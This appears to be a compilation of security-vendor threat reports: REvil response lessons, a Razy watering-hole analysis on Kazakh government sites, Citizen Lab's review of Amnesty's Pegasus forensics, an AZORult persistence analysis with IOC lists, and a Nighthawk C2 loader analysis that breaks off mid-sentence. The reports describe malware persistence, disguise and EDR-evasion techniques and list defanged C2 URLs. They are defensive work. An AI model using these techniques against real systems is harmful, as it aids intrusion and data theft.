exorbitant ransom. Despite this, the return to full operations has been a slow process and is ongoing at the time of publication. ## The lessons learned “In most cases, by the time we are called in the attack has already taken place, and we are there to help contain, neutralize and investigate the aftermath,” said Peter Mackenzie, manager of Sophos Rapid Response. “On this occasion we were there as the final stage of the attack unfolded and could see at first hand the determination and growing frustration of the attackers, who threw everything at us, from as many directions as they could.” Sophos experts believe there are two important lessons defenders can take away from this incident: 1. The first is about risk management. When you make changes to your environment, for example, changing a network from air-gapped to online as in the case of this business, your level of risk changes. New areas of vulnerability open up and IT security teams need to understand and address that. 2. The second is about preserving data. The first compromised account in this attack belonged to one of the IT team. All the data had been wiped and this meant that valuable information, such as details of the original breach, which could have been used for forensic analysis and investigation was lost. The more information is kept intact, the easier it is to see what happened and to ensure it can’t happen again. ## Recommendations Sophos recommends the following best practices to help defend against REvil and other families of ransomware and related cyber-attacks: 1. Monitor and respond to alerts – Ensure the appropriate tools, processes, and resources (people) are available to monitor, investigate and respond to threats seen in the environment. Ransomware attackers often time their strike during off-peak hours, at weekends or during the holidays, on the assumption that few or no staff are watching. 2. Set and enforce strong passwords – Strong passwords serve as one of the first lines of defense. Passwords should be unique or complex and never re-used. This is easier to do if you provide staff with a password manager that can store their credentials. 3. Multi-Factor Authentication (MFA) – Even strong passwords can be compromised. Any form of multifactor authentication is better than none for securing access to critical resources such as e-mail, remote management tools, and network assets. 4. Lock down accessible services – Perform scans of your organization’s network from the outside and identify and lock down the ports commonly used by VNC, RDP, or other remote access tools. If a machine needs to be reachable using a remote management tool, put that tool behind a VPN or zero-trust network access solution that uses MFA as part of its login. 5. Segmentation and Zero-Trust – Separate critical servers from each other and from workstations by putting them into separate VLANs as you work towards a zero-trust network model. 6. Make offline backups of information and applications, keep them up to date and keep a copy offline. 7. Inventory your assets and accounts – Unprotected and unpatched devices in the network increase risk and create a situation where malicious activities could pass unnoticed. It is vital to have a current inventory of all connected computers and IoT devices. Use network scans and physical checks to locate and catalog them. 8. Install layered protection to block attackers at as many points as possible – and extend that security to all endpoints that you allow onto your network. 9. Product configuration – Under-protected systems and devices are vulnerable too. It is important that you ensure security solutions are configured properly and to check and, where necessary, update security policies regularly. New security features are not always enabled automatically. 10. Active Directory (AD) – Conduct regular audits on all accounts in AD, ensuring that none have more access than is needed for their purpose. Disable accounts for departing employees as soon as they leave the company. 11. Patch everything – Keep Windows and other software up to date. This also means double checking that patches have been installed correctly and, in particular, are in place for critical systems like internet-facing machines or domain controllers. ## Additional advice for security leadership 1. Understand the tactics, techniques and procedures (TTPs) that attackers can use and how to spot the early warning signs of an imminent attack. 2. Have an incident response plan that is continuously reviewed and updated to reflect changes in your IT environment and business operations and how they impact your security posture and level of risk. 3. Turn to external support if you don’t have the resources or expertise in-house to monitor activity on the network or respond to an incident. Ransomware is often unleashed at the end of an attack, so you need both dedicated anti-ransomware technology and human-led threat hunting to detect the tell-tale tactics, techniques, and procedures that indicate an attacker is in or attempting to get into the environment. 4. If you do get hit, there are incident response experts available 24/7 you can call on to contain and neutralize the attack.
# Watering Hole Threat Analysis in the Government Sector of Kazakhstan While studying the threat landscape of Kazakhstan as part of the Threat Intelligence phase, T&T Security experts discovered the so-called Razy malware family. The investigated samples of the Razy family were used to infect users in the form of a Trojan downloader masquerading as a regular office document (Word, Excel, and Adobe PDF). Attackers usually spread Razy using a “Watering hole” attack. The “Watering hole” is an attack where attackers locate malware on a legitimate, possibly previously hacked, site visited by a potential victim. Thus, the attacker achieves the trustworthiness effect since the link to the malicious file will likely be on a victim’s list of trusted sites. Two of the analyzed cases caught our sharp attention, in which the attackers spread the malware using the watering hole attack on the e-government portal (egov.kz). **Malicious links:** - hxxps://legalacts.egov.kz/application/downloadnpa?id=5322314 - hxxps://budget.egov.kz/budgetfile/file?fileId=1520392 At the same time, the second malicious Razy sample (at budget.egov.kz) was still available for download on the site at the time of detection. The files are the same malicious Razy Trojan downloader. We assume that cybercriminals published the malicious software under the pretense of office documents by gaining access to uploading files to the legalacts.egov.kz and budget.egov.kz. The first document is a resolution of the district administration. The second, created in 2021, is a financial summary of the administration's budget. This implies the attacker posted the Razy malware in 2021. We assume that these attacks targeted specific companies that may be using these documents. Most likely, the attackers did not aim for a mass attack on the citizens of Kazakhstan, and the public exposure of the samples themselves is most likely a side effect. The rest of the Razy samples are also documents of different kinds, e.g., the resolution of the district administration. This means cybercriminals look for documents suitable for the victim and embed them into the final malicious file. One should note that by the time of publication, the malware control server (C&C server) had already been disabled, and currently, these samples cannot load any additional malicious functionality. Together with the accountable employees of Zerde National Information & Communication Holding JSC, the T&T Security team worked to detect the Razy-related incidents and block the spread of malicious content. tLab successfully detects and blocks this threat, which can be seen in the video below. tLab works on the principle of zero trust based on deep behavioral analysis, and high throughput allows it to analyze tens of thousands of files per day without filters and whitelisting, effectively blocking such threats even using an attack at the watering hole. Since tLab is used as part of the Cyber Shield of the Republic of Kazakhstan, we can say that the state is ready to repel such threats. ## Samples Technical Analysis Razy, first spotted in 2015, has been used for attacks to this day. Below is a diagram of how Razy works. When a user launches a sample, a malicious payload gets activated, and an actual legitimate document embedded in malware pops up. T&T Security monitored the monthly amounts of Razy malware samples found on Virustotal and discovered a sharp increase in May 2021. Most of the detected malware samples targeting Kazakhstan belong to the same period, indicating that the embedded documents come from Kazakh institutions. **Razy stats from alienvault.com** - (2015 - 2019) - (2020) - (2021) We researched the following files: - 2 6>10 @CA.exe SHA256: 20f7a8258f83862ae6638a6bd1ad0bc83d40928a89eb40c720934db9b65f4bec - эльвира отчет.exe SHA256: b06e65a0009ae771566db075c0f5850799977b4a982d7d6a63565a184be60796 - Отчёт по практике.exe SHA256: 219c44420a95370a22ef806244033c2a21e94b7500fc780fc8e4f25183f745bc - 24160712_ExSteppeEagle_INTSUM_S2_160X_E_O.exe SHA256: 2F6C1C2C4043CA6D19ADDD60FA85A5AD6D347075E73AE1E1DCB76D5CC5224573 - eastmere vil.exe SHA256: 7615E69D6FA11FC851C4CD10DDEE3820ACFC6170578C61AE74B6D4FD8EA71E10 - OWNSITREP 241700AJUL16 G3.exe SHA256: 8FA473C03850B22C2C6AADCFE69268BE4E4C7A33881581FEA83789755AF8F22A SHA256: 3ED1B88C9AE34BA4FFBF8AED737F2DC9A0AEDEEDF8D2A4A69555518845E16264 The identical PDB file paths and the timestamps found in all six samples indicate they were all created by a single “MultiLauncher” tool. **PE file characteristics:** Most of the samples contain a document displayed to the user in resource number 200. The samples contain icon sets for all types of documents. The final file uses one of the types. This leads us to conclude that the creators were using one tool and were choosing the required document type in the final build. There are Razy builds that do not contain malicious documents: - 1f35ce5d620f4eddbfbff5fd1b6142b002bb6a537b864d7745d96ddfd8424bd6 - 3a050db9c571eafd5b1dccb412991434bd0a0fc52c4771274018420a08af4c00 This explains that the attacker always looks for the “right” documents before embedding them into the final file. The resource can also be a PDF file. Usually, Razy is an EXE file with an office document icon. Most of the time, the attackers set up an office document icon for an executable file to mislead the user. When the user launches a file, they see an opened office document, and a malicious EXE file will perform other operations. **SHA256:** - 219c44420a95370a22ef806244033c2a21e94b7500fc780fc8e4f25183f745bc - b06e65a0009ae771566db075c0f5850799977b4a982d7d6a63565a184be60796 - 20f7a8258f83862ae6638a6bd1ad0bc83d40928a89eb40c720934db9b65f4bec - 2F6C1C2C4043CA6D19ADDD60FA85A5AD6D347075E73AE1E1DCB76D5CC5224573 - 8FA473C03850B22C2C6AADCFE69268BE4E4C7A33881581FEA83789755AF8F22A - 3ED1B88C9AE34BA4FFBF8AED737F2DC9A0AEDEEDF8D2A4A69555518845E16264 All objects have the same functionality but different office documents. Since all of the samples are just variants of the same family, consider one of them: **20f7a8258f83862ae6638a6bd1ad0bc83d40928a89eb40c720934db9b65f4bec** This object is an EXE file with an icon of a Word document. At a closer look, one can conclude it is a dropper for office documents. **Summary of the object in the tLab system:** Launching the EXE file will result in a regular office document hiddenly located in the current folder. The malicious file contains an office document in its resources (DATA - 200). The first bytes of the file in the resources determine the type of the embedded document. In this case, the “4B 03 04 14 00 06 00 08 00” signature corresponds with the Microsoft Office Open XML Format. When launched, the Razy malware detects the type of displayed document given the information from the resource number 300 (0x12C). The reading of the original office document from the resource number 200 (0x0C8) begins, using the FindResource, LoadResource, LockResource, SizeOfResource functions. In the tLab sandbox, when uploading a file, one can see a potential threat indicator. A malicious file opens a created document in Word using the ShellExecuteW function. The ShellExecute function opens the passed file in a program associated with specific extensions. For example, if the file has the DOCX extension, it will be opened by the program registered to open such files (in our case, Microsoft Word). The T&T Security sandbox also builds a graph of the dynamic behavior of an object. The Word document does not contain any macros and is not malicious, according to the initial analysis. Presumably, the purpose of opening an office document is to conceal malicious activity. At the same time, the malicious file creates a copy of itself in the APPDATA \ RAC folder under the name mls.exe. One can also observe this activity through the system call logs. Next, mls.exe sets itself to startup in the registry with the -s parameter. The file is present in the AutoStartup section of the T&T Security forensics tool. After rebooting, mls.exe will run with the -s option. After starting with the -s parameter, it calls the addresses hxxp://wxanalytics.ru/net.exe.config and hxxp://wxanalytics.ru/net.exe. The file can run with the -cs and -cc options. In this case, it takes the location path for the original malicious file. By looking at the list of malicious files that have accessed the same addresses, we will see they have different names. Attackers often name malicious files based on the area of interest of potential victims. Several samples of malicious files on this list were uploaded documents to legalacts.egov.kz and budget.egov.kz. As previously noted, this type of attack is called a watering hole attack. **Malicious links:** - hxxps://budget.egov.kz/budgetfile/file?fileId=1520392 - hxxps://legalacts.egov.kz/application/downloadnpa?id=532231 The files are the same old malicious Razy downloader Trojan. We assume that cybercriminals published malicious software under the guise of DOCX by gaining access to uploading files to the legalacts.egov.kz site. As of May 11, 2021, only a few well-known anti-viruses identified the object, while none of them could detect the link to the object itself as malicious. ## Conclusion These days even an ordinary user can unravel such techniques as hiding files and faking the icons. The malicious Trojan downloader itself is not packed in any way to stay undetected by the antivirus signature. The file creation date indicates the use of old-style malware. The hash sums of the studied samples (without resources) coincide with many other files seen in similar attacks. All this suggests that the attackers, in this case, used quite old malware, changing only the office document displayed to the user, which indicates the low qualifications of the attacker. Regardless, the Razy Trojan still poses a live threat and uses actual white papers.
# Independent Peer Review of Amnesty International’s Forensic Methods for Identifying Pegasus Spyware By Bill Marczak, John Scott-Railton, Siena Anstis, and Ron Deibert July 18, 2021 On July 18, non-profit journalism organization Forbidden Stories released a major new investigation into NSO Group. The investigation exposes widespread global targeting with Pegasus spyware. The investigation also includes results from the forensic examination of a number of devices that their technical partner, Amnesty International, assessed to be infected. Forbidden Stories and Amnesty International requested that the Citizen Lab undertake an independent peer review of a sample of their forensic evidence and their general forensic methodology. We were provided with iTunes backups of several devices and a separate methodology brief. No additional context or information about the devices or the investigation was provided to us. We independently validated that Amnesty International’s forensic methodology correctly identified infections with NSO’s Pegasus spyware within four iTunes backups. We also determined that their overall methodology is sound. In addition, the Citizen Lab’s own research has independently arrived at a number of the same key findings as Amnesty International’s analysis. ## Methodological Assessment: Sound The Citizen Lab provides the following assessment of Amnesty’s methodology: - Amnesty’s described methodology for identifying Pegasus Process Names (and email addresses linked to the NSO Pegasus killchain) is sound. Their method is based on temporal correlation between the items’ first appearance in logs and phones’ communication with known Pegasus Installation servers, or other Pegasus Process Names. - Amnesty’s described methodology for identifying times during which phones were compromised is sound. Their method involves observing Pegasus Process Names in a DataUsage.sqlite file obtained from an iTunes backup, or a netusage.sqlite file obtained from a full filesystem extraction, or other log files on the phone that record process names. - Amnesty’s described methodology for linking the zero-click compromise they observed on iOS 14.6 to NSO Group is sound. Their method is the same as above. - Amnesty’s described methodology for linking the activity they observed involving Amazon CloudFront servers to the NSO Pegasus killchain is sound. Their method is the same as above. - Amnesty did in fact detect Version 4 Pegasus servers. Citizen Lab and Amnesty Tech conducted mutual sharing of Version 4 domain names we each detected as of July 2020. At that point, it became clear to both groups that we had independently developed substantially similar methods to detect NSO Group’s infrastructure. ## Additional Independent Support for Amnesty’s Findings The Citizen Lab’s own research has independently arrived at several of Amnesty’s key findings: - Citizen Lab independently employed a similar methodology to Amnesty International in our analysis of potential Pegasus compromise (i.e., identifying process names proximate to communication with Pegasus servers), and have devised our own list of process names. Amnesty appears to have mentioned 45 process names in their draft report. We computed the intersection of this list with our list, and identified 28 process names in common. We can also confirm that we have not observed Amnesty’s list of 45 process names used in association with any benign or legitimate apps. - Citizen Lab independently documented NSO Pegasus spyware installed via successful zero-day zero-click iMessage compromises of an iPhone 12 Pro Max device running iOS 14.6, as well as zero-day zero-click iMessage attacks that successfully installed Pegasus on an iPhone SE2 device running iOS version 14.4, and a zero-click (non-zero-day) iMessage attack on an iPhone SE2 device running iOS 14.0.1. The mechanics of the zero-click exploit for iOS 14.x appear to be substantially different than the KISMET exploit for iOS 13.5.1 and iOS 13.7, suggesting that it is in fact a different zero-click iMessage exploit. - Citizen Lab independently observed NSO Group’s new design for their hidden infrastructure which appears to have been launched starting on September 2, 2018, about one month after Amnesty Tech and Citizen Lab published reports on NSO Group in August 2018. The new design is as Amnesty Tech describes in their draft report: “URL Shortener Servers” are separated from “Pegasus Installation Servers,” and “Installation DNS Servers” are introduced. - Citizen Lab independently conducted similar scanning for Pegasus Infection Server domain names, as well as Command and Control (C&C) server domain names. Citizen Lab and Amnesty International conducted mutual sharing of these Version 4 domain names we detected in July 2020. - Citizen Lab independently observed NSO Group begin to make extensive use of Amazon services including CloudFront in 2021. - Citizen Lab observed that NSO Group’s spyware was modified in late 2019 or early 2020 to (incompletely) delete information from the DataUsage.sqlite file. We have never observed this anomaly outside of Pegasus infection, and in each case where we have observed this anomaly, we are able to correlate it with other indicators of Pegasus infection. ## Conclusion Amnesty International’s core forensic methods for analyzing devices to determine that they have been infected with NSO Group spyware are sound.
# AZORult: Now, as A Signed “Google Update” AZORult attackers continue to adjust tactics to increase the chances that they’ll evade detection. This malware is a common information stealer, capable of exfiltrating a wide range of sensitive artifacts from an endpoint, including files, cached passwords, and even cryptocurrency wallet keys. Since Minerva’s last post about a highly evasive AZORult campaign, there were many other reports describing AZORult attacks successfully infecting hundreds of individual victims in a single wave. Most recently, we observed AZORult using additional tricks to extend its ability to survive in the wild. Last month we protected one of our clients from an unusual AZORult attack that involved a signed malicious executable, which the adversary used to increase the chances of successfully bypassing security tools. Below are the details of this AZORult campaign, to assist others with detecting infected endpoints and clarify how such attacks can be identified in the future. ## A Suspicious Signed Google Update Our investigation began when a Minerva customer contacted us about a suspicious executable that Minerva’s Anti-Evasion Platform prevented on their endpoint. The customer was surprised to see that the suspect file, named GoogleUpdate.exe, was digitally signed by a valid, non-revoked certificate. The icon of this malicious file matched the legitimate updater. However, the certificate with which the malicious file was signed did not belong to Google. If we’re to take the meaning of this certificate attached to the malicious GoogleUpdate.exe file at its face value, we’d assume that the signer vouched for the legitimacy of this file. This does not mean that the file is benign, although some users (and even security products) assume that it might be. The certificate authority only verifies that the details of the signer are legitimate, regardless of the safety of the signed files. The certificate used to sign the malicious GoogleUpdate.exe file was either stolen from its legitimate owner or obtained for malicious purposes. Since this certificate was issued on November 19th, 2018, it was used for signing more than a hundred different binaries, all disguised as GoogleUpdate.exe. ## AZORult in the Skin of the Signed Binary After concluding that the GoogleUpdate.exe was malicious, we faced the task of determining the file’s malware family. We identified it as likely an AZORult variant by analyzing the specimen’s network communications, which included the following AZORult patterns: - HTTP POST request to a /index.php - Using a .bit domain (for DNS over blockchain) - Typical User-Agent Mozilla/4.0… We were able to corroborate our initial identification using the publicly available Intezer Analyze platform, which confirmed that the sample, once unpacked, has an over 98% match to AZORult. ## A Sneaky Persistence Mechanism One of the capabilities of this AZORult sample is that it not only uses the file name GoogleUpdate.exe, but also replaces the legitimate Google Updater in C:\Program Files\Google\Update\GoogleUpdate.exe. This helps the malicious program run with administrative privileges and allows it to establish a stealthy persistence mechanism. Google typically defines two scheduled tasks to update its products: - GoogleUpdateTaskMachineCore – runs at login and once a day - GoogleUpdateTaskMachineUA – runs once a day In addition, there are two Google update services running this binary as well, as defined in the registry values: - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\gupdatem\ImagePath - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\gupdate\ImagePath This AZORult variant does not modify either the tasks or the registry. However, as a result of replacing the original GoogleUpdate.exe file, the malware will run with administrative privileges whenever an update is started. This also allows the malware to gain persistence that can be difficult to notice, since the tasks and services are not suspicious—only the contents of the file they run. This is not a new technique and was used in the past by APT groups like MuddyWater, but so far, there was no evidence linking AZORult samples to this method. In addition to replacing GoogleUpdate.exe, this AZORult variant also drops a copy of itself to C:\ProgramData\localNETService\localNETService.exe and adds an entry to the registry to start it as a service as well. ## Preventing the AZORult Infection Minerva’s Anti-Evasion Platform prevents this infection by interfering with the attempt of AZORult to decrypt and run its malicious payload in memory. This allowed us to protect customers from this variant without any AZORult-specific countermeasures, days before other vendors did. After preventing the infection, Minerva’s Management Console also displays details for the suspicious certificate, allowing incident responders and SOC teams to detect a mismatch between the alleged identity of the file and its actual signer. ## IOC **File Paths** C:\ProgramData\localNETService\localNETService.exe **URL** hxxp://s63[.]bit/index[.]php **Hashes** 0120a9f8bbcc000a392f2c1c790d89b1786654f5b40afe2e2534b3d31111f99d 022c49854e180993f60f921fe203f624efcc0c9907d5af95cc183cd7f646c3bb 02376d17b1c3d5d82dfeeec3816fd15d0693c19b04b973f137a2bad6e0af2665 03cb174a5b69cf617c229600a6a56d7d73c71f41440d6d34891ef9f94d91d60c 0452783e893db661ffe3523d166ab2ea392df3c8cfad1ab33496dd5e6a0042ba 045360ff23f49642c5da4dd36b356cf54ed3c086c665fd1dfa727cab6d53cb25 0bc974389b2282feb812e12453f215f83da7e121d42566318463dfa6eefd5854 0bf313d7a4552a283dfff76b01e89acb98010c4bb9c12b6308739aa69b71d1e0 0ce7f1e2922b271938e92f2cd48590b45bb8499bb0b4041a704461f01f2a9c14 0da32f365a3e7edc3942383ba3e483a785d3100a2339a32095f436d66cd326ce 0e47f425d9306da35d828cde48011c97e6d0575625b3e823d22ae12ee2e4441e 0fb185b0b5f2394879f868b15bbbec81d8844e0e232d3e66a2ed142af12cbd5c 1086271ba095c5409c8c571cb0f8bcb6e936687d86f750c335c8dd7c23743357 128ba838c87c89d544703b63940f55dd9dc59bababa74faa9c2484f3196743ab 14dace048b51c4b6a8235a9887bde2fc45d02a64a50db9c40f3e9b1b98ed869f 16ca70a07296a058a143d574edb9f9a287ad6e7d4df6a51a00e62552f403e7cf 17bb8315aeb215c1f0f4d4373e9e1cc4483d09138410a346cf6c59db41ce8a6c 1e1db001c70e61ccdc54afa7d5a871947a0e452f9d28c7986262a2986bb079f2 20ce98e9091393da696092190825261aa9bdf5fd8287f1224a76f7318cb95776 277a078c8037976cc84461458b0f1bee8c991921f197806761f38ab9fd97f8bf 285b267d3b75047ef5ad52f380506473196deb557830ac02e7170d0d2a451b53 2afcf0debab6b45622c768080f6b076c1e34ed52c17a24ee673821acee8e029f 2caf51b28ac751488ec7442aea3295bc1c3d683e3ced8a8254d786bf2cae1bda 2d34076dee9d4439252509cbfe4da776954977657710acd88ad21c24eed4543f 316ad99eefcf0ec22da5fc3c0c42b53a28f15e451478995ebf4ee13594a4e580 32bbde1c10479f9130602d320c68e6fbd57954a01b89b86be3a1a9d1409faf95 34e0a3a8802468192d455bf462c1702e97e37211d680583bcd311561fc8b6bc9 374712ff911f69a02655e74ecff5f32922c941267671e5cc8ccfec297ffcf756 39aef8164662ba88d24abb1d5a85caf52891ba05a7da8c30891e5498e3b1102a 3ad4215327cceba68f540ba47fdf16c682a0241023dd676ce74ba2c1aff8d3a1 40fa02cbb5d50fd2964fa34316e7c090cc04cc5a55b8b7d8b047aefc371a1606 42ce72d29d635225acaf326d34909b2017737da5cef29ed90302ecdc2c8c61de 498727da1daae0368101b00d0673ddb420102711edc56e732f935e20fc3f27d9 49e1bc5e069bcc5e5710cd4f3b6ae0d1c937cd31e7b32e04a645977565d724b6 4a33787c56ade53e14c4a1d32d815ab47bda6e1ecfc97bbf5d6a7a9e4d0cdd0e 4c6ed9e8bcbaddf1406c8d774ea5edfa6eab1f66b87fc545013ff13b7f48aa48 4c7e8aa51bebf8b93c7c13ffd0965a9e97239cd9134457702c8d37924588b2ce 4ecb43e7e9cbaecc4a6c23d58c0e4f81277ceaceb991507d3078934cc8af04c8 4f27de33166a1e2134e047783d7f37684b47b34d07f95ca4abdd7362b6842f90 4f3a220543d1de1e00f37aa392b5b3ea57e670f629c45d1a0350e2aa943ab209 53408be699c75fc238c6d3a2fa8f71dd00823e85811f8cd061a553925c2dfb2a 542c266dc633cf849ed3662004784093dba20aaa86f10ad168e78d2c1670be1e 5496ea08d295d709e53e719b6907917bdf3d1857ad56c6ba0f819e1fc05c866b 590997178c691cb710fa8ab1cd29bcb0ce7d1000192a4ccb6211fb40b14162d4 5d494d83fbbb5cb54ace880e0a55ccb2d1c68e4572f9731d678ad597d1f5e3ae 619b146ca20c1f7e48a730c74b5495d0320a215f47a03aa5eef2658ec7a258f5 621e73d9000de5381d43569826e0f12a826776ae5bb66baeb320e27ad5034f6e 623825eb57410802b1f962e06b1019b9f925ec765392d07fe63850e44b9dec53 623ef7a97fceadad49973957ca60744a478efadab98800c92230f41d2b7578c6 6470780f62fec2f1f83dc9603590744fe164aa87af9b327a259055db7c8f8512 65889209b843850e898f91e448909c3966bd8d1a7d09eb3bea62b986acae5529 661d4c76f7e7e2d462955261510997764dc49ea6cf3fd18490cc7c6912397f33 6ae3932accedfb1146f1b9adf4e9747af0631ce8f32eb61debfad55243d86fd1 6b53afc53e02498237b4b63a905e25fddf09f1185977babc358e1d33829f556d 6d1aa1391e53680859342325a185160e9d44e68093d45c01c98f979498f4f79a 6e98c88abf5b2afed15ec241aa677e05e3a86c3d60adb9b4d15e1f4a7586ff21 6ecce12f0a1537804b8d832b646c39b1ba6b0b28e9395d3f53d7e3df66e7e643 6f111973df2ba254d7d9199b7c4dda01d5b90bb8405e67b8ed86b3e2a23b72f1 7462ef992764c96c2c3552886a0876fd354f558b9d44d61150236da67d3af370 749dcc0ffa6ab626db7fc2d6f9c74b92861708da73f9a422c90ad2af96724dcc 7936aab0b0dcd341f3ba168a267df093c1342fbc28015177db029cbd8c7f3fb3 796e6d59f5cbc3eba40c08c9a4c1002677bbf2be75a7dc3fd779a7f133a49e83 7c61add2fa581880a29aa1f4c57c7dc8363091ccfbdab5b56409db7800d155f2 dc4667db0fa29871ad5519d0794b18f9b2bae279cf725e8673ba6948902e89d 7ece58274588bd45a1bf6c1c6ece9119d9982e0cbd668dbe82e8d8f674b30ef5 7efedfe5093d4743dc61332287ac79a2612b1dfedd3748fc37007bc5f84bd54d 815fef8e66cb9e437e0180e1a7df4de52ed893c4a702ce2959fbdc408fd9140b 8434186cc81c509adf373f676235cb33d819f06922b7d55da4c1ac6c58a1254a 8494845a22c826667e5fd666906cc93c116021f120e2fce98bdec30ddf6e7660 85c0209e535de0c7784f741762f92619502d8c72ee9494e6800dff398669a592 87c934ebcada9c63b197914faee225c99b90ea5e6e6ccd8a68aabecd068d69a8 88d6c77aa42cf820bf30ff424977134e7275cb9c279f82bba37e806b93c88711 8b61d64e82b15f28ba3636ee0372efac9103630eaca753dcad938a9003ef60fb 8cf61e83d1437da97ac90294ea9f936afba9dd3bb4e0c97e324e430dd503e222 8d76ecf2d26f25fe54cd71c724fba81a40c05a9a326c43dc22f0fa9e0acf0508 8e7b420b09dd6beeb83c81967b4951929964d4cbbdce963d26f09465614eab1d 8f571c57013f8dce29fc578e8342780ddf923b2df4193d2c1619e6acfb552d5b 8f79289e99047e6adc601085153924ccb3e0ba559dd422d985c74335d4e6fddd 92d6aaeef413ffda366128e2029c23f0bda38468ea3c5451a15a31e207f26538 954a37ab51ff28da4af7fd7f650a47c9d8e0613b97e7ce4e563254669d88709c 969aedd37401c7e720fb02ac84902b0c04bc1af8553e2b1d299b5d7ab0f72cd9 983f7e7c3604767211a8c5e2dc51c168e6577bdcec559f7e1206d9708c7eac65 9aaff103e2e460a9d99e2da9fc9413fca8182459141439487fb064b18377f006 9cad605e52f2f5752016ef317323712a69525415cf13c3c93215048d5c2c7147 9fe8e8e66680cdcd5e5d4c3b84ca764c7128c1f02223f21f5db9465249474016 a0f1ca933fb71c80d76e398baa573cc62fc73688b239e13c99c30b70861de25c a79da5edaf4149183c7a10b167f8f4711e437e229e0dea87251447e52dfbc1af a9181c2756fd7d2d3ff6e6830699ebf8f75aedb1e8ff6b61419815379637550b ad48c5c7bfc485c075b2279d7c7e6e620db8c90a4e7934f529e36df5f211b010 b03e40eb9143ff8cc46cf50c5a67b12cda2523e22ff60dd43d8ffa4047f89e53 b0f51fbf63b3f1b223cc74b330edad8e174a08d37c61faa15ee8d18495abbfcb b29ace5866157d3eb77105b185c07d2d99006756592f609d0242b264db05102b b4b52e530cd71b21c08db6c3e45f338c175be9d10525aeeacb0a33886a0e9cbf b4b7e5af784e663c38e09f0421d30b9fbd6743738f31e2832048ee283c91ef24 b98196e85334698723c7b006643d28a9efe54ab46496459354aa179d3b8a31bf b9bc5839231bd00b293a5d11ae2479347f8858a12a522a6d48b6f9763afec69c babfa300b0e487d73b7c51123571aad3b137b7208408e82f55ca5c5460c6a80b bc61f7a60e2af89d20e910c672458b03ccfd2c3b4ecb5662a826342f9725795d bcffbf7fb17d60e7c4362faa911c0efde7dad16b6d66fc8a7eef07d1ef1332f5 beb801f2362616272d92d6d074b6f188a751ea7d8006d68550469b169c92423e bf8c6edeb15de02443fddb7ea0e1b8969fd4d17e48541ed8d552e62739dd7780 c6234945c0eb0e93895bf4a4925dd033d051dfe43b8c5e9da2525c1f0a61d828 c6e7e602580278c2017640bbf0bf92ad579c5bc98667ffa2bb369e1fc3a2b14a c78e870076fc57b4a6a02a41acb3b213452ae9aa9eb31be95f333f5aa1fd0d24 ca661ebd67d48b5c1d47d6b65552a92653b91e83a6df550c8d1d394b00ba8213 ce006a6c046bd44356f1f26e16f4438357dd7fadf430e2c361ed7142b8d1f7a6 d0c7f4ab97583f443d03cbb23ed3c67cebe927ec1a7c1837a42f3a13ba426800 d2f4bfa5b24ed6e6d0e62693d2e3b07b30a7d31a87f4deef5fecaaf44d3df301 d40c1d1439cb85da7edbd04e9d54154c9387c717627d08ac6d8f12d566b3f2fd d5b47dbe70a1b4cacb326b27154ad84c8f731ae80523a74ca53f7028115ddc3e d65c5884e8545b8a401ad6bd6a5af7f0737c183a5959b7ecb93f66b57b10f7fb dbc24ed727f1f1f175c4f08180052e119a4f644a23a98828ab6b253164bb54d7 dcc3befd071d0e330ab3e354911eecab356518b47ec8aad26034feef1e129a3a
# Nighthawk: An Up-and-Coming Pentest Tool Likely to Gain Threat Actor Notice **Key Takeaways** - Nighthawk is an advanced C2 framework intended for red team operations through commercial licensing. - Proofpoint researchers observed initial use of the framework in September 2022 by a likely red team. - There are no indications at this time that leaked versions of Nighthawk are being used by attributed threat actors in the wild. - The tool has a robust list of configurable evasion techniques referenced as “opsec” functions throughout its code. - Proofpoint researchers expect Nighthawk will show up in threat actor campaigns as the tool becomes more widely recognized or as threat actors search for new, more capable tools to use against targets. ## Overview In September 2022, Proofpoint researchers identified initial delivery of a penetration testing framework called Nighthawk. Launched in late 2021 by MDSec, Nighthawk is similar to other frameworks such as Brute Ratel and Cobalt Strike and could see rapid adoption by threat actors wanting to diversify their methods and add a relatively unknown framework to their arsenal. This possibility, along with limited publicly available technical reporting on Nighthawk, spurred Proofpoint researchers into a technical exploration of the tool and a determination that sharing our findings would be in the best interest of the cybersecurity community. While this report touches on the activity observed in Proofpoint data, the primary focus is Nighthawk’s packer and subsequent payload capabilities. ## Threat Actors and Red Teaming Tools Historically, threat actors have integrated legitimate tools into their arsenal for various reasons, such as complicating attribution, leveraging specific features such as endpoint detection evasion capabilities, or simply due to ease of use, flexibility, and availability. In the last few years, threat actors from cybercriminals to advanced persistent threat actors have increasingly turned to red teaming tools to achieve their goals. Between 2019 and 2020, Proofpoint observed a 161% increase in threat actor use of Cobalt Strike. This increase was quickly followed by the adoption of Sliver—an open-source, cross-platform adversary simulation and red team platform. Sliver was first released in 2019 and by December 2020 had been incorporated into threat actors’ tactics, techniques, and procedures—a timeline which could possibly occur with Nighthawk in the future. By late 2021, Proofpoint had identified an initial access facilitator for ransomware threat actors using Sliver. As recently as summer 2022, other security researchers have noted a range of threat actors of varying skills, resources, and motivations integrating it as well as Brute Ratel, another red teaming and adversarial attack simulation tool, into their campaigns. ## Testing, Testing…1…2…3 Proofpoint researchers observed initial use of the Nighthawk framework beginning in mid-September 2022 with several test emails being sent using generic subjects such as “Just checking in” and “Hope this works.” Over the course of a few weeks, emails were sent with malicious URLs that, if clicked, would lead to an ISO file containing the Nighthawk loader payload as a PE32+ executable file. Proofpoint researchers were able to identify that the payload delivered was the Nighthawk penetration testing framework based on open-source research, including MDSec’s blog on the latest version of the tool. ## The Loader The Nighthawk loader artifact analyzed by Proofpoint researchers is a PE32+ binary that uses some obfuscation and encryption methods to make analysis more difficult and prolonged. The loader has the following structure, including a .uxgbxd section that contains possibly decoy code and the .text section which contains the main event: the PE entry point, the unpacking code, the configuration structure, and the encrypted Nighthawk payload. The PE entry point within the .text section implements some control obfuscation by calculating the offset for the main function. This is likely done to interfere with static disassembly engines. Initially, the loader code builds a small import table and parses a configuration structure that specifies which evasion and keying method are to be used. Functions are dynamically resolved through symbol hashing and manually parsing the export directory of loaded modules retrieved through the LDR_DATA_TABLE_ENTRY in the PEB. If a desired library is not present in memory, it is either loaded using LoadLibraryW in a direct call or as a dispatched job via RtlQueueWorkItem. All meaningful strings are encoded with a simple algorithm and decoded on the fly. This inline string decoding means that for only a brief period of time the strings are present in memory, creating an advantage for potential threat actors making detection of the tool more difficult. Some functionality can use WinAPI or direct system calls depending on the corresponding configuration option. This functionality can be used to evade some endpoint detection systems and sandboxes that use usermode 